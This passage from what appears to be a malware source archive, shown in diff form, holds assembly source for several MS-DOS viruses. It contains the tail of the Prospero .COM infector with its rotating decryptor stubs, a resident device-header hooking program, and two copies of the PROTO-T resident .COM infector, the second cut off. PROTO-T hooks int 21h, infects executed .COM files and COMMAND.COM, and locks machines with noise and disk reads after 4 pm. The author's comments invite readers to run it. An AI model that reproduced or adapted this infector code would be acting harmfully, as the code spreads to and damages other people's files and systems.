lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt3
|
||||
jmp write
|
||||
d4: ;pick and write 4th cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value4],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del4] ;
|
||||
mov cx,del5 - del4 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt4
|
||||
jmp write
|
||||
nope:
|
||||
jmp close
|
||||
d5: ;pick and write 5th cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value5],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del5] ;
|
||||
mov cx,del6 - del5 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt5
|
||||
jmp write
|
||||
d6:
|
||||
mov al,[bp+value]
|
||||
mov [bp+value6],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del6] ;
|
||||
mov cx,noc - del6 ;
|
||||
int 21h
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt6
|
||||
|
||||
;-------write crypted area--------------------
|
||||
write:
|
||||
mov ah,40h ;write encrypted area
|
||||
lea dx,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
int 21h ;now!
|
||||
|
||||
count:
|
||||
inc byte ptr [bp+counter] ;add one
|
||||
|
||||
|
||||
;-----------restore time/date---------------
|
||||
restc:
|
||||
mov ax,5701h ;restore stamps
|
||||
pop cx ;remember?
|
||||
pop dx ;we saved these!
|
||||
int 21h ;
|
||||
|
||||
;-------------close--------------------------
|
||||
mov ah,3eh ;close file
|
||||
int 21h ;go!
|
||||
|
||||
|
||||
;------------restore attribs-----------------
|
||||
mov ax,4301h ;set attribs
|
||||
Mov dx,9Eh ; !!!! name in DTA
|
||||
xor cx,cx ;clear!
|
||||
mov cl, byte ptr [bp+attribs] ;attribs in cl
|
||||
int 21h ;go
|
||||
|
||||
|
||||
cmp byte ptr [bp+counter],7 ;this isnt completly
|
||||
;accurate due to the
|
||||
;the fact that it
|
||||
;counts fails from
|
||||
;infection checks
|
||||
;but i kinda like having
|
||||
;a semi random infection check
|
||||
ja nope ;and exit
|
||||
|
||||
|
||||
;--------------next and infection check----------
|
||||
next1:
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
jmp find_next ;continue!
|
||||
|
||||
;-----------our stock of cryptors------------
|
||||
|
||||
del:
|
||||
db ':('
|
||||
cli ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
sti ; 1
|
||||
sub ax,offset delta+1 ; 3
|
||||
xchg bp,ax ; 1 =10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt ;
|
||||
Jmp Del1
|
||||
Value0 db 0
|
||||
crypt:
|
||||
lodsb ;
|
||||
Push CX
|
||||
Nop
|
||||
Mov CL,4
|
||||
rol al,CL ;
|
||||
Nop
|
||||
neg al ;
|
||||
rol al,CL ;
|
||||
Nop
|
||||
Pop CX
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt ;
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
Nop
|
||||
;--------------------------------------------
|
||||
|
||||
del1:
|
||||
db ':('
|
||||
db 0E8h,00,00 ;
|
||||
sti ;
|
||||
pop bp ;
|
||||
xchg bx,ax ;
|
||||
sub bp,offset delta ;
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt1 ;
|
||||
Jmp Del2
|
||||
Value1 db 0
|
||||
crypt1:
|
||||
Nop
|
||||
lodsb ;
|
||||
Nop
|
||||
neg al ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
ror al,CL ;
|
||||
Pop CX
|
||||
Nop
|
||||
neg al ;
|
||||
Nop
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt1 ;
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
;------------------------------------------
|
||||
del2:
|
||||
db ':('
|
||||
cld ;
|
||||
db 0E8h,0,0 ;
|
||||
pop bp ;
|
||||
clc ;
|
||||
sub bp,offset delta+1 ;
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt2 ;
|
||||
Jmp Del3
|
||||
Value2 DB 0
|
||||
crypt2:
|
||||
Nop
|
||||
Nop
|
||||
lodsb ;
|
||||
not al ;
|
||||
nop ;
|
||||
xor al,byte ptr [bp+value] ;
|
||||
nop ;
|
||||
not al ;
|
||||
nop ;
|
||||
Nop
|
||||
stosb ;
|
||||
loop crypt2 ;
|
||||
Nop
|
||||
ret ;21 !!!
|
||||
;---------------------------------------
|
||||
del3:
|
||||
db ':('
|
||||
sti ; 1
|
||||
nop ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop bp ; 1
|
||||
sub bp,offset delta+2 ; 4=10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt3 ;
|
||||
Jmp Del4
|
||||
Value3 db 0
|
||||
crypt3:
|
||||
lodsb ;
|
||||
Push CX
|
||||
Nop
|
||||
Nop
|
||||
Mov CL,4
|
||||
ror al,cl ;
|
||||
not al ;
|
||||
Nop
|
||||
ror al,cl ;
|
||||
Nop
|
||||
Pop CX
|
||||
stosb ;
|
||||
loop crypt3 ;
|
||||
Nop
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
;---------------------------------------
|
||||
del4:
|
||||
db ':('
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
xchg bx,ax ; 1
|
||||
xchg bx,ax ; 1
|
||||
sub ax,offset delta ; 3
|
||||
xchg bp,ax ; 1
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt4 ;
|
||||
Jmp Del5
|
||||
Value4 db 0
|
||||
crypt4: ;
|
||||
lodsb ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
xor al,byte ptr [bp+value] ;
|
||||
rol al,cl ;
|
||||
xor al,byte ptr [bp+value] ;
|
||||
Pop CX
|
||||
stosb ;
|
||||
loop crypt4 ;
|
||||
ret ;21 !!!
|
||||
;--------------------------------------
|
||||
del5:
|
||||
db ':('
|
||||
db 0E8h,0,0 ; 3
|
||||
nop ; 1
|
||||
pop ax ; 1
|
||||
nop ; 1
|
||||
sub ax,offset delta ; 3
|
||||
xchg bp,ax ; 1 ; = 10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt5 ;
|
||||
Jmp Del6
|
||||
Value5 db 0
|
||||
crypt5: ;
|
||||
Nop
|
||||
lodsb ;
|
||||
not al ;
|
||||
Push CX
|
||||
Nop
|
||||
Mov CL,4
|
||||
ror al,cl ;
|
||||
Nop
|
||||
Pop CX
|
||||
Nop
|
||||
not al ;
|
||||
Nop
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt5 ;
|
||||
ret ;21 !!!
|
||||
;--------------------------------------
|
||||
del6:
|
||||
db ':('
|
||||
sti ; 1
|
||||
clc ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
sub ax,offset delta +2 ; 3
|
||||
xchg bp,ax ; 1=10
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt6 ;
|
||||
Jmp Noc
|
||||
Value6 db 0
|
||||
crypt6: ;
|
||||
lodsb ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
ror al,CL
|
||||
Nop
|
||||
xor al,byte ptr [bp+value]
|
||||
ror al,CL
|
||||
Nop
|
||||
Pop CX
|
||||
stosb
|
||||
Nop
|
||||
loop crypt6
|
||||
ret
|
||||
noc: ;21 !!!
|
||||
|
||||
;-----------DATA--------------------------
|
||||
newdta db 2ah dup(?)
|
||||
filemask db '*.c*',0
|
||||
three db 0e9h,0,0
|
||||
buff db 0cdh,20h,0
|
||||
dot db '..',0
|
||||
message1 db "Prospero Virus" ;14
|
||||
message2 db "(C) Opic [CodeBreakers '98]" ;27
|
||||
counter db 0
|
||||
attribs db 0h
|
||||
opbuf dw 0
|
||||
String1 db '************************PROSPERO!**************************',0dh,0ah
|
||||
db 'There is a path to the trancendece of the dollar: Embark',0dh,0ah
|
||||
db 'rich beggars! Does magic bring prosperos to his knees?',0dh,0ah
|
||||
db 'Reading pretty twilight, making grass uncertain?',0dh,0ah
|
||||
db 'Oh,all that christmas snow shouldered by one birthday suit!',0dh,0ah
|
||||
db 'The fate of the world under his armpit like a thermometer?',0dh,0ah
|
||||
db 'Rejoice Villains! Your time has come.',0dh,0ah
|
||||
db '**************(C) Opic [CodeBreakers,98]*******************',0Ch
|
||||
EndStr1:
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
|
||||
Virus_End:
|
||||
|
||||
prospero Ends
|
||||
End Start
|
75
MSDOS/Virus.MSDOS.Unknown.prothd.asm
Normal file
75
MSDOS/Virus.MSDOS.Unknown.prothd.asm
Normal file
@ -0,0 +1,75 @@
|
||||
code segment public 'code'
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
|
||||
Main: mov ah,30h ; fn 30h = Get Dosversion
|
||||
int 21h ; int 21h
|
||||
cmp al,4 ; major dosversion
|
||||
sbb si,si
|
||||
mov ah,52h ; get internal list of lists
|
||||
int 21h ; int 21h
|
||||
lds bx,es:[bx] ; get pointer to first drive
|
||||
; paramenter block
|
||||
|
||||
Search: mov ax,ds:[bx+si+15h] ; get segment of device header
|
||||
cmp ax,70h ; dos device header ??
|
||||
jne Next ; no, go to next device
|
||||
cmp byte ptr ds:[bx],0
|
||||
je Next
|
||||
xchg ax,cx
|
||||
mov di,ds:[bx+si+13h] ; get offset of device header
|
||||
mov word ptr ds:[bx+si+13h],offset Header
|
||||
mov ds:[bx+si+15h],cs ; set addres of new device
|
||||
Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
|
||||
cmp bx,-1 ; last block ?
|
||||
jne Search ; no, go to Search
|
||||
jcxz Error
|
||||
|
||||
mov ds,cx
|
||||
mov si,di
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset Header
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
mov ax,offset Strategy
|
||||
stosw
|
||||
mov ax,offset Interrupt
|
||||
stosw
|
||||
push di
|
||||
mov di,offset Strategy
|
||||
mov al,0eah
|
||||
stosb
|
||||
movsw
|
||||
mov ax,cx
|
||||
stosw
|
||||
mov di,offset Interrupt
|
||||
mov al,0eah
|
||||
stosb
|
||||
movsw
|
||||
mov ax,cx
|
||||
stosw
|
||||
pop di
|
||||
movsw
|
||||
mov ax,3100h
|
||||
mov dx,20h
|
||||
int 21h
|
||||
|
||||
Error: mov ax,4c01h
|
||||
int 21h
|
||||
|
||||
Header db 12 dup(?)
|
||||
Interrupt db 5 dup(?)
|
||||
Strategy db 5 dup(?)
|
||||
|
||||
|
||||
code ends
|
||||
|
||||
end Main
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
420
MSDOS/Virus.MSDOS.Unknown.proto-t.asm
Normal file
420
MSDOS/Virus.MSDOS.Unknown.proto-t.asm
Normal file
@ -0,0 +1,420 @@
|
||||
;PROTO-T virus: a simple, memory resident .COM infector for
|
||||
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
|
||||
;
|
||||
;On call, PROTO-T will manipulate the interrupt table directly, hooking
|
||||
;int 21h and decreasing the amount of memory by a little over 1k.
|
||||
;It will infect COMMAND.COM
|
||||
;if a shell is installed while the virus is in RAM. At start,
|
||||
;PROTO-T polls the system time. If it is after 4:00 in the
|
||||
;afternoon, the speaker will issue a hideous ringing noise and the
|
||||
;hard file will be read very quickly, faking a massive Michelangelo-style
|
||||
;trashing. The disk will continue to read until the user restores
|
||||
;control by booting. (I took this slick routine from the first issue
|
||||
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
|
||||
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
|
||||
;to those surprised by it. Heh.
|
||||
;
|
||||
;Files infected with PROTO-T will generally function normally until
|
||||
;4 in the afternoon, when the virus locks them up until the next
|
||||
;day by way of the nuisance routines described above. Infected files have
|
||||
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
;appended to them at the end where the body of the virus is located.
|
||||
;
|
||||
;PROTO-T is not currently scanned. However, its modifications are easily
|
||||
;flagged by a good file integrity checker. For example, Dr. Solomon's
|
||||
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
|
||||
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
|
||||
;the novice user is left on his own by the Toolkit to determine the cause
|
||||
;of the changes - a drawback which diminishes the software's value
|
||||
;considerably, IMHO.
|
||||
;
|
||||
;I encourage you to play with PROTO-T by Dumbco. It is a
|
||||
;well-behaved resident virus, useful in demonstrating the behavior
|
||||
;of simple resident infectors and how they can "pop-up" suddenly and
|
||||
;ruin your day. Of course, files infected by PROTO-T are, for all
|
||||
;intents and purposes, useless for future computing unless you like
|
||||
;the idea of a resident virus keeping you company and freezing up
|
||||
;your work late in the afternoon.
|
||||
;
|
||||
;Known incompatibilities: PROTO-T will behave weirdly on machines
|
||||
;using SYMANTEC's NDOS as a command processor. And some caches will
|
||||
;cause PROTO-T to hang the machine immediately. For best results,
|
||||
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
|
||||
;management seems to work fine. (Ain't this somethin': software
|
||||
;advisories with a virus!)
|
||||
;
|
||||
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
|
||||
;& our European friends Dark Helmet and Peter Venkmann with their very
|
||||
;complete code archives (in particular, the CIVIL_II template). The
|
||||
;'scarey ' subroutine was excerpted from "Computer Virus Developments
|
||||
;Quarterly", Vol. 1., No.1.
|
||||
|
||||
|
||||
.radix 16
|
||||
code segment
|
||||
model small
|
||||
assume cs:code, ds:code, es:code
|
||||
|
||||
org 100h
|
||||
|
||||
length equ offset last - begin
|
||||
virus_length equ length / 16d
|
||||
|
||||
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
|
||||
;marker in host
|
||||
|
||||
begin:
|
||||
|
||||
call virus ;make call to
|
||||
;push instruction pointer on stack
|
||||
|
||||
virus:
|
||||
|
||||
|
||||
mov ah,02Ch ;DOS get time function
|
||||
int 021h
|
||||
mov al,ch ;Copy hour into AL
|
||||
cbw ;Sign-extend AL into AX
|
||||
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||||
jge malfunkshun ;If after 4 pm, do Proto-T thang!
|
||||
jmp getonwithit
|
||||
|
||||
malfunkshun: ;sound and fury start
|
||||
cli ;turn off interrupts
|
||||
mov dx,2
|
||||
agin1: mov bp,40 ;do 40 cycles of sound
|
||||
mov si,1000 ;1st frequency
|
||||
mov di,2000 ;2nd frequency
|
||||
mov al,10110110b ;address of channel 2 mode 3
|
||||
out 43h,al ;send to port
|
||||
agin2: mov bx,si ;place sound number in bx
|
||||
backerx: mov ax,bx ;now put in ax
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
in al,61h ;get port value
|
||||
or al,00000011b ;turn speaker on
|
||||
out 61h,al
|
||||
mov cx,2EE0h ;delay
|
||||
looperx: loop looperx ;do nothing loop so sound is audible
|
||||
xchg di,si
|
||||
in al,61h ;get port value
|
||||
and al,11111100b ;AND - turn speaker off
|
||||
out 61h,al ;send it
|
||||
dec bp ;decrement repeat count
|
||||
jnz agin2 ;if not = 0 do again
|
||||
mov ax,10 ;10 repeats of 60000 loops
|
||||
back: mov cx,0EA60h ;loop count (in hex for TASM)
|
||||
loopery: loop loopery ;delay loops - no sound between bursts
|
||||
dec ax
|
||||
jnz back ;if not = 0 loop again
|
||||
dec dx
|
||||
jnz agin1 ;if not = 0 do whole thing again
|
||||
sti ;restore interrupts
|
||||
|
||||
|
||||
|
||||
mov si,0 ;scarey part: drive reads real
|
||||
scarey: lodsb ;fast ala Michelangelo-style
|
||||
mov ah,al ;over-write, but this routine only
|
||||
lodsb ;gets random bytes here for a
|
||||
and al,3 ;cylinder to READ
|
||||
mov dl,80h
|
||||
mov dh,al
|
||||
mov ch,ah
|
||||
mov cl,1
|
||||
mov bx,offset last ;buffer to read into
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jmp short scarey ;yow! scarey! just think if this
|
||||
;was made by someone not as nice as
|
||||
;me
|
||||
|
||||
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
|
||||
getonwithit: pop bp ; get IP from stack.
|
||||
sub bp,109h ; adjust IP.
|
||||
|
||||
restore_host: mov di,0100h ; recover beginning
|
||||
lea si,ds:[carrier_begin+bp] ; of carrier program.
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
|
||||
check_resident: mov ah,0A0h ;check if virus
|
||||
int 21h ;already installed.
|
||||
cmp ax,0001h
|
||||
je end_virus
|
||||
|
||||
adjust_memory: mov ax,cs ;get Memory
|
||||
dec ax ;Control Block
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ;check if last
|
||||
;block -
|
||||
jne abort ;if not last block,
|
||||
;end
|
||||
mov ax,ds:[0003] ;decrease memory
|
||||
sub ax,50 ;by 1kb
|
||||
mov ds:0003,ax
|
||||
|
||||
install_virus: mov bx,ax ;PSP
|
||||
mov ax,es ;virus start
|
||||
add ax,bx ;in memory
|
||||
mov es,ax
|
||||
mov cx,length ;cx = length virus
|
||||
mov ax,ds ;restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin+bp] ;point to start virus
|
||||
lea di,es:0100 ;point to destination
|
||||
rep movsb ;copy virus in
|
||||
;memory
|
||||
mov [virus_segment+bp],es ;store start of virus
|
||||
;in memory
|
||||
mov ax,cs ;restore extra segment
|
||||
mov es,ax
|
||||
|
||||
hook_vector: cli ;disable interrupts
|
||||
;because we're manipulating
|
||||
mov ax,3521h ;the interrupt table and a
|
||||
;crash would look bad
|
||||
int 21h ;function 3521h - retrieve
|
||||
mov ds,[virus_segment+bp] ;address of current handler
|
||||
mov ds:[old_21h-6h],bx
|
||||
mov ds:[old_21h+2-6h],es
|
||||
mov dx,offset main_virus - 6h
|
||||
mov ax,2521h ;copy new address (virus) to
|
||||
int 21h ;interrupt table
|
||||
sti ;interrupts on
|
||||
|
||||
abort: mov ax,cs ;restore everything
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
xor ax,ax
|
||||
|
||||
end_virus:
|
||||
|
||||
|
||||
mov bx,0100h ;jump to beginning
|
||||
jmp bx ;of host file
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
|
||||
main_virus: pushf
|
||||
cmp ah,0A0h ;check for virus
|
||||
jne new_21h ;no virus call
|
||||
mov ax,0001h ;ax = id
|
||||
popf ;return id
|
||||
iret
|
||||
|
||||
new_21h: push ds ;save registers
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
cmp ah,40h
|
||||
jne check_05
|
||||
cmp bx,0004h
|
||||
jne check_05
|
||||
|
||||
check_05: cmp ah,05h
|
||||
jne check_exec
|
||||
|
||||
check_exec: cmp ax,04B00h ;intercept execute function
|
||||
jne continue
|
||||
mov cs:[name_seg-6],ds
|
||||
mov cs:[name_off-6],dx
|
||||
jmp chk_com ;goto check target
|
||||
|
||||
continue: pop dx ;restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
popf
|
||||
jmp dword ptr cs:[old_21h-6]
|
||||
|
||||
chk_com: cld ;check extension of loaded file
|
||||
mov di,dx ;for COM
|
||||
push ds
|
||||
pop es
|
||||
mov al,'.' ;search extension
|
||||
repne scasb ;for 'COM', so
|
||||
cmp word ptr es:[di],'OC' ;check 'CO'
|
||||
jne continue ;and
|
||||
cmp word ptr es:[di+2],'M' ;check 'M'
|
||||
jne continue
|
||||
|
||||
call set_int24h
|
||||
call set_attribute
|
||||
|
||||
open_file: mov ds,cs:[name_seg-6] ;name of target file
|
||||
mov dx,cs:[name_off-6]
|
||||
mov ax,3D02h ;open file
|
||||
call do_int21h ;simulate int21 call, see below
|
||||
jc close_file
|
||||
push cs
|
||||
pop ds
|
||||
mov [handle-6],ax
|
||||
mov bx,ax
|
||||
|
||||
call get_date
|
||||
|
||||
check_infect: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6] ;read first 6 bytes
|
||||
mov ah,3fh
|
||||
mov cx,06h
|
||||
lea dx,[carrier_begin-6]
|
||||
call do_int21h
|
||||
mov al, byte ptr [carrier_begin-6]+3 ; check initials
|
||||
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
|
||||
cmp ax,[initials-6]
|
||||
je save_date ;if equal, already
|
||||
;infected
|
||||
|
||||
get_length: mov ax,4200h ;set file pointer to begin
|
||||
call move_pointer
|
||||
mov ax,4202h ;set file pointer to end
|
||||
call move_pointer
|
||||
sub ax,03h ;ax = file length
|
||||
mov [length_file-6],ax
|
||||
|
||||
call write_jmp
|
||||
call write_virus ;summon write virus to file
|
||||
|
||||
save_date: push cs ;save date of file
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
mov dx,[date-6]
|
||||
mov cx,[time-6]
|
||||
mov ax,5701h
|
||||
call do_int21h
|
||||
|
||||
close_file: mov bx,[handle-6]
|
||||
mov ah,03eh ;close file
|
||||
call do_int21h
|
||||
|
||||
mov dx,cs:[old_24h-6] ;restore int24h
|
||||
mov ds,cs:[old_24h+2-6]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continue
|
||||
|
||||
|
||||
|
||||
|
||||
new_24h: mov al,3 ;critical error handler
|
||||
iret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; PROCEDURES
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
move_pointer: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
;since virus owns int21, a
|
||||
do_int21h: pushf ;direct call would be counter
|
||||
call dword ptr cs:[old_21h-6];productive, so do a pushf
|
||||
ret ;and call combination - Dark
|
||||
;Angel's virus guide is great
|
||||
write_jmp: push cs ;at expalining this
|
||||
pop ds
|
||||
mov ax,4200h ;set pointer to beginning of file
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[length_file-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[initials-6]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_virus: push cs
|
||||
pop ds
|
||||
mov ax,4202h ;write to file function
|
||||
call move_pointer
|
||||
mov ah,40
|
||||
mov cx,length ;virus length
|
||||
mov dx,100
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
get_date: mov ax,5700h ;retrieve date function
|
||||
call do_int21h ;do it
|
||||
push cs
|
||||
pop ds
|
||||
mov [date-6],dx ;restore date & time
|
||||
mov [time-6],cx
|
||||
ret
|
||||
;set up critical error handler
|
||||
set_int24h: mov ax,3524h ;request address of current handler
|
||||
call do_int21h ;simulate int21 call
|
||||
mov cs:[old_24h-6],bx
|
||||
mov cs:[old_24h+2-6],es
|
||||
mov dx,offset new_24h-6
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2524h ;set vector to virus handler
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
set_attribute: mov ax,4300h ;get attribute
|
||||
mov ds,cs:[name_seg-6]
|
||||
mov dx,cs:[name_off-6]
|
||||
call do_int21h
|
||||
and cl,0feh ;set attribute
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; DATA
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
old_21h dw 00h,00h
|
||||
old_17h dw 00h,00h
|
||||
old_24h dw 00h,00h
|
||||
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
|
||||
jump db 0E9h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
virus_segment dw ?
|
||||
length_file dw ?
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
initials dw 4844h
|
||||
last db 090h
|
||||
|
||||
code ends
|
||||
end host
|
420
MSDOS/Virus.MSDOS.Unknown.proto_t.asm
Normal file
420
MSDOS/Virus.MSDOS.Unknown.proto_t.asm
Normal file
@ -0,0 +1,420 @@
|
||||
;PROTO-T virus: a simple, memory resident .COM infector for
|
||||
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
|
||||
;
|
||||
;On call, PROTO-T will manipulate the interrupt table directly, hooking
|
||||
;int 21h and decreasing the amount of memory by a little over 1k.
|
||||
;It will infect COMMAND.COM
|
||||
;if a shell is installed while the virus is in RAM. At start,
|
||||
;PROTO-T polls the system time. If it is after 4:00 in the
|
||||
;afternoon, the speaker will issue a hideous ringing noise and the
|
||||
;hard file will be read very quickly, faking a massive Michelangelo-style
|
||||
;trashing. The disk will continue to read until the user restores
|
||||
;control by booting. (I took this slick routine from the first issue
|
||||
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
|
||||
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
|
||||
;to those surprised by it. Heh.
|
||||
;
|
||||
;Files infected with PROTO-T will generally function normally until
|
||||
;4 in the afternoon, when the virus locks them up until the next
|
||||
;day by way of the nuisance routines described above. Infected files have
|
||||
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
;appended to them at the end where the body of the virus is located.
|
||||
;
|
||||
;PROTO-T is not currently scanned. However, its modifications are easily
|
||||
;flagged by a good file integrity checker. For example, Dr. Solomon's
|
||||
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
|
||||
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
|
||||
;the novice user is left on his own by the Toolkit to determine the cause
|
||||
;of the changes - a drawback which diminishes the software's value
|
||||
;considerably, IMHO.
|
||||
;
|
||||
;I encourage you to play with PROTO-T by Dumbco. It is a
|
||||
;well-behaved resident virus, useful in demonstrating the behavior
|
||||
;of simple resident infectors and how they can "pop-up" suddenly and
|
||||
;ruin your day. Of course, files infected by PROTO-T are, for all
|
||||
;intents and purposes, useless for future computing unless you like
|
||||
;the idea of a resident virus keeping you company and freezing up
|
||||
;your work late in the afternoon.
|
||||
;
|
||||
;Known incompatibilities: PROTO-T will behave weirdly on machines
|
||||
;using SYMANTEC's NDOS as a command processor. And some caches will
|
||||
;cause PROTO-T to hang the machine immediately. For best results,
|
||||
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
|
||||
;management seems to work fine. (Ain't this somethin': software
|
||||
;advisories with a virus!)
|
||||
;
|
||||
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
|
||||
;& our European friends Dark Helmet and Peter Venkmann with their very
|
||||
;complete code archives (in particular, the CIVIL_II template). The
|
||||
;'scarey ' subroutine was excerpted from "Computer Virus Developments
|
||||
;Quarterly", Vol. 1., No.1.
|
||||
|
||||
|
||||
.radix 16
|
||||
code segment
|
||||
model small
|
||||
assume cs:code, ds:code, es:code
|
||||
|
||||
org 100h
|
||||
|
||||
length equ offset last - begin
|
||||
virus_length equ length / 16d
|
||||
|
||||
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
|
||||
;marker in host
|
||||
|
||||
begin:
|
||||
|
||||
call virus ;make call to
|
||||
;push instruction pointer on stack
|
||||
|
||||
virus:
|
||||
|
||||
|
||||
mov ah,02Ch ;DOS get time function
|
||||
int 021h
|
||||
mov al,ch ;Copy hour into AL
|
||||
cbw ;Sign-extend AL into AX
|
||||
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||||
jge malfunkshun ;If after 4 pm, do Proto-T thang!
|
||||
